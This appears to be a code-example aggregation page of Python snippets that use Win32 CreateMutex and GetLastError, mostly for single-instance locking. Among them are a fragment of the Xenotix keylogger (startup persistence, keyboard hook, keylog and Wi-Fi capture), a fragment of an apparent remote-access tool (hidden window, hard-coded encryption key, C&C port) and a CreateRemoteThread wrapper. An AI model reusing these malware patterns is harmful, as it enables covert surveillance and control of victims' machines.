예제 #1
0
파일: app.py 프로젝트: hplusai/WebCrawler
    def __init__(self):
        from win32event import CreateMutex
        from win32api import GetLastError

        self.mutexname = "testmutex_{D0E858DF-985E-4907-B7FB-8D732C3FC3B9}"
        self.mutex = CreateMutex(None, False, self.mutexname)
        self.lasterror = GetLastError()
예제 #2
0
 def lock_process(self, str_lock_name):
     if os.name == 'nt':
         # windows
         from win32event import CreateMutex
         from win32api import GetLastError
         from winerror import ERROR_ALREADY_EXISTS
         self.P(
             "Attempting to create lock on current Windows process for id '{}'"
             .format(str_lock_name))
         mutex_handle = CreateMutex(None, 1, str_lock_name)
         err = GetLastError()
         if err == ERROR_ALREADY_EXISTS:
             # maybe show some text
             self.P("Another Windows process has already acquired id '{}'".
                    format(str_lock_name),
                    color='r')
             return None
         else:
             # maybe show some text
             self.P("Current Windows process has acquired id '{}':{} ({})".
                    format(str_lock_name, mutex_handle, err),
                    color='g')
             return mutex_handle
     else:
         import platform
         str_platform = platform.system()
         if str_platform.lower() == 'darwin':
             # macos
             self.P(
                 "Running on MacOS. Skipping mutex and checking if script is running",
                 color='m')
             if self.same_script_already_running():
                 return None
             return -1
         else:
             import socket
             self.P(
                 "Attempting to create lock on current Linux process for id '{}'"
                 .format(str_lock_name))
             _lock_socket = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
             try:
                 _lock_socket.bind('\0' + str_lock_name)
                 # maybe show some text
                 self.P("Current Linux process has acquired id '{}': {}".
                        format(str_lock_name, _lock_socket),
                        color='g')
                 return _lock_socket
             except Exception as err:
                 # maybe show some text
                 self.P(
                     "Another Linux process has already acquired id '{}'. Error: {}"
                     .format(str_lock_name, err),
                     color='r')
                 return None
         # end if platform
     # end if not windows
     return
예제 #3
0
 def __init__(self):
     if sys.platform.startswith("win32"):
         from win32event import CreateMutex
         self.mutexName = '%s.%s' % (ORG, APP_NAME)
         self.myMutex = CreateMutex(None, False, self.mutexName)  # 创建核心对象
         self.lastErr = GetLastError()  # 检查lasterr
     else:
         # 是linux平台,可以把文件固定写在/tmp下,每次读这个文件检查pid内容,看是否有同样的pid存在
         pass
예제 #4
0
def synchronized():
    try:
        mutex = CreateMutex(None, True, mutexname)
        if GetLastError() == ERROR_ALREADY_EXISTS:
            sys.stderr.write('Could not acquire mutex. Is another test process running?')
            sys.exit(1)
        yield
    finally:
        if mutex is not None:
            ReleaseMutex(mutex)
예제 #5
0
파일: app.py 프로젝트: SergioLaime/txscada
    def _check_one_instance_win(self):
        '''
        Esta es la implementación para win de solo una instancia
        activa. En el caso de que existan dos instancias de la 
        aplicación, este método devuelve True.
        '''
        from win32event import CreateMutex
        from win32api import GetLastError
        from winerror import ERROR_ALREADY_EXISTS
        self.connect(self, QtCore.SIGNAL("aboutToQuit()"),
                     self._win_mutex_destroy)

        self.mutexname = "testmutex_{D0E858DF-985E-4907-B7FB-8D732C3FC3B9}"
        self.mutex = CreateMutex(None, False, self.mutexname)
        self.lasterror = GetLastError()
        return (self.lasterror != ERROR_ALREADY_EXISTS)
예제 #6
0
    def __init__(self):
        '''
        Disallow multiple instances.source: ajinabraham / Xenotix - Python - Keylogger
        '''
        self.mutex = CreateMutex(None, 1, 'mutex_var_xboz')
        if GetLastError() == ERROR_ALREADY_EXISTS:
            self.mutex = None
            print "Multiple Instance not Allowed"
            sysExit(0)

        addToStartup()  # Add to startup
        writeWifi()
        writeKeylogs()  # Create keylogs.txt in case it does not exist
        self.hooks_manager = HookManager()  # Create a hook
        self.hooks_manager.KeyDown = self.OnKeyBoardEvent  # Assign keydown event handler
        self.hooks_manager.HookKeyboard()  # assign hook to the keyboard
        pythoncom.PumpMessages()
예제 #7
0
def GetProcessId(handle):
    """Get the process id, given the process handle.
    """

    from win32api import GetLastError, FormatMessage
    from pywintypes import error, HANDLE
    from ctypes import windll, c_uint
    
    handle = c_uint(handle)
    _GetProcessId = windll.kernel32.GetProcessId
    pid = _GetProcessId(handle)

    if not pid:
        err = GetLastError()
        errmsg = FormatMessage(err)
        raise error(err, "GetProcessId", errmsg)

    return pid
예제 #8
0
 def acquire(self, timeout=TIMEOUT_INFINITE):
     """ gets mutex
         due to legacy reasons there's still the initial acquire mode,
         which is intended for ensuring, that a certain executable is
         called only once. (will_own=1)
     """
     if self.will_own:
         self.handle = CreateMutex(None, self.will_own, self.name)
         err = GetLastError()
         if err == ERROR_ALREADY_EXISTS:
             return False
         else:
             return self
     rslt = WaitForSingleObject(self.handle, timeout)
     if rslt == MTX_WAIT_OBJECT_O:
         return self
     elif rslt == MTX_WAIT_TIMEOUT:
         return False
     raise IPCMutexError("got got return code %08x" % rslt)
예제 #9
0
def CreateRemoteThread(hProcess, pfn, param):
    from win32api import GetLastError, FormatMessage
    from pywintypes import error, HANDLE
    from ctypes import windll, c_uint, c_void_p
    
    
    _CreateRemoteThread = windll.kernel32.CreateRemoteThread
    hProcess = c_uint(hProcess.handle) # XXX
    param = c_void_p(param)
    pfn = c_void_p(pfn) # XXX

    hThread = _CreateRemoteThread(hProcess, c_void_p(), c_uint(0),
                                  pfn, param, c_uint(0), c_void_p())

    if not hThread:
        err = GetLastError()
        errmsg = FormatMessage(err)
        raise error(err, "CreateRemoteThread", errmsg)

    return HANDLE(hThread)
예제 #10
0
        fcntl.lockf(fp, fcntl.LOCK_EX | fcntl.LOCK_NB)

        lock_file_validation = True  # Lock file created successfully!
    except IOError:
        lock_file_validation = False  # creating lock_file was unsuccessful! So persepolis is still running

else:  # for windows
    # pypiwin32 must be installed by pip
    from win32event import CreateMutex
    from win32api import GetLastError
    from winerror import ERROR_ALREADY_EXISTS
    from sys import exit

    handle = CreateMutex(None, 1, 'persepolis_download_manager')

    if GetLastError() == ERROR_ALREADY_EXISTS:
        lock_file_validation = False
    else:
        lock_file_validation = True

# run persepolis mainwindow
if lock_file_validation:
    from persepolis.scripts import initialization
    from persepolis.scripts.mainwindow import MainWindow

    # set "persepolis" name for this process in linux and bsd
    if os_type == 'Linux' or os_type == 'FreeBSD' or os_type == 'OpenBSD':
        try:
            from setproctitle import setproctitle
            setproctitle("persepolis")
        except:
예제 #11
0
def _error(routine):
    # internal helper
    err = GetLastError()
    errmsg = FormatMessage(err)
    raise error(err, routine, errmsg)
예제 #12
0
 def __init__(self):
     self.mutexname = "league_vcs_{13560846-8FB1-430F-B24B-2AE8A2F3CC71}"
     self.mutex = CreateMutex(None, False, self.mutexname)
     self.lasterror = GetLastError()
예제 #13
0
def PrintFileVersionInfo(name):
    if not os.path.exists(name):
        return

    print('VERSIONINFO for file "{0}": '.format(os.path.abspath(name)))
    versionStrings = (
        'Comments',
        'InternalName',
        'ProductName',
        'CompanyName',
        'LegalCopyright',
        'ProductVersion',
        'FileDescription',
        'LegalTrademarks',
        'PrivateBuild',
        'FileVersion',
        'OriginalFilename',
        'SpecialBuild',
    )

    try:
        info = GetFileVersionInfo(name, "\\")
    except:
        print(
            'ERROR ({0}): Unable to call GetFileVersionInfo because no version information exists.'
            .format(GetLastError()))
        sys.exit(0)

    PrintStr('Signature', '{0}'.format(ToHex(info['Signature'])))
    PrintStr(
        'StrucVersion', '{0:d}.{1:d}'.format(HIWORD(info['StrucVersion']),
                                             LOWORD(info['StrucVersion'])))
    PrintStr(
        'FileVersion',
        '{0:d}.{1:d}.{2:d}.{3:d}'.format(HIWORD(info['FileVersionMS']),
                                         LOWORD(info['FileVersionMS']),
                                         HIWORD(info['FileVersionLS']),
                                         LOWORD(info['FileVersionLS'])))
    PrintStr(
        'ProductVersion',
        '{0:d}.{1:d}.{2:d}.{3:d}'.format(HIWORD(info['ProductVersionMS']),
                                         LOWORD(info['ProductVersionMS']),
                                         HIWORD(info['ProductVersionLS']),
                                         LOWORD(info['ProductVersionLS'])))
    if info['FileFlagsMask'] != 0:
        PrintStr('FileFlagsMask', '{0:#x}'.format(info['FileFlagsMask']))
    else:
        PrintStr('FileFlagsMask', '{0:#x}'.format(info['FileFlagsMask']))
    if info['FileFlags'] != 0:
        PrintStr(
            'FileFlags',
            '{0:#04x} ({1})'.format(info['FileFlags'],
                                    showFileFlags(info['FileFlags'])))
    else:
        PrintStr('FileFlags', '{0:#04x}'.format(info['FileFlags']))
    PrintStr('FileOS', '{0}'.format(showFileOS(info['FileOS'])))
    PrintStr(
        'FileType',
        '{0}{1}'.format(showFileType(info['FileType']),
                        showFileSubtype(info['FileType'],
                                        info['FileSubtype'])))
    if info['FileDate']:
        PrintStr('FileDate', '{0:x}'.format(info['FileDate']))
    else:
        PrintStr('FileDate', 'Not Specified')

    pairs = GetFileVersionInfo(name, r'\VarFileInfo\Translation')
    for lang, codepage in pairs:
        #print 'lang: ', lang, 'codepage:', codepage
        for versionString in versionStrings:
            block = r'\StringFileInfo\{0:04X}{1:04X}\{2}'.format(
                lang, codepage, versionString)
            #print block
            try:
                info = GetFileVersionInfo(name, block)
            except:
                continue
            PrintStr(versionString, info)
    print('\n')
예제 #14
0
 def __init__(self, instanceName):
     if os.name == 'nt':
         mutexName = instanceName
         self.mutex = CreateMutex(None, False, mutexName)
         self.lasterror = GetLastError()
예제 #15
0
		def __init__(self):
			self.mutexname = "maxivote_{D0E858DF-985E-4907-B7FB-8D732C3FC3B9}"
			self.mutex = CreateMutex(None, False, self.mutexname)
			self.lasterror = GetLastError()
예제 #16
0
 def __init__(self, mutexName="singleinstance"):
     self.mutexname = mutexName
     #self.mutexname = "testmutex_{D0E858DF-985E-4907-B7FB-8D732C3FC3B9}"
     self.mutex = CreateMutex(None, False, self.mutexname)
     self.lasterror = GetLastError()
예제 #17
0
 def __init__(self):
     # The mutex name needs to be static, suffix is meaningless.
     self.mutexname = f'{program_name}_ZJokEOtOTRQvOmnOylGO'
     self.mutex = CreateMutex(None, False, self.mutexname)
     self.lasterror = GetLastError()
 def __init__(self, mutexname):
     self.mutexname = "{}_{{D0E858DF-985E-4907-B7FB-8D732C3FC3B9}}".format(
         mutexname)
     self.mutex = CreateMutex(None, False, self.mutexname)
     self.lasterror = GetLastError()
예제 #19
0
from winerror import ERROR_ALREADY_EXISTS
from time import sleep
import ctypes
from ctypes import windll
from cryptography.fernet import Fernet
# encrypt traffic
KEY = b'ikex6DgCDdVjfwoyNrea9wJcj87bZNSVe6YZkDQQMDU='
F = Fernet(KEY)

# hide window
hideWindow()

# Use MUTEX in order to forbid two instances running simultaneously
name = sys.argv[0].split('\\')[-1]
mutex = CreateMutex(None, False, name)
last_error = GetLastError()
if last_error == ERROR_ALREADY_EXISTS:
    sys.exit(0)


def is_admin():
    try:
        return windll.shell32.IsUserAnAdmin()
    except:
        return False


if is_admin():
    # address of c&c
    HOST = ''
    PORT = 65432
예제 #20
0
 def __init__(self):
     self.mutexname = "app_name_{073360E2-38EB-41BF-A4FD-149CA9B28D6C}"
     self.mutex = CreateMutex(None, False, self.mutexname)
     self.lasterror = GetLastError()